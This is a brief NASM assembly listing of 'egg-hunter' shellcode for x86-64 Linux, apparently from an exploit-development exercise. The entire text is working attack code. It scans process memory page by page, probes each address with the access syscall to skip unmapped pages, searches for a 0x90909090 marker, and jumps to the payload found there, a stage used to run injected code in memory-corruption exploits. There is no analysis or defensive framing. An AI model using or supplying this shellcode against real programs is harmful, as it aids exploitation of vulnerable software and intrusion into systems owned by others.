Egg-hunter shellcode V1

egghunterV1.nasm

global _start
section .text

  syscalls.access equ 0x15

  EFAULT.lowerbyte equ 0xf2

  egg_plus_one equ 0x90909091

_start:

  xor rsi,rsi
  mov rdi,rsi ; start at 0x0

  goto_next_page:
    or di,0xfff
    inc rdi

  try_next_4_bytes:
    push syscalls.access
    pop rax
    syscall
    cmp al,EFAULT.lowerbyte
    jz goto_next_page

    egg_search:
      ; can access page, let's search for the egg
      mov eax,egg_plus_one
      dec al
      scasd
      jnz try_next_4_bytes

    payload_execution:
      ; we found the egg, let's jump to our payload!
      jmp rdi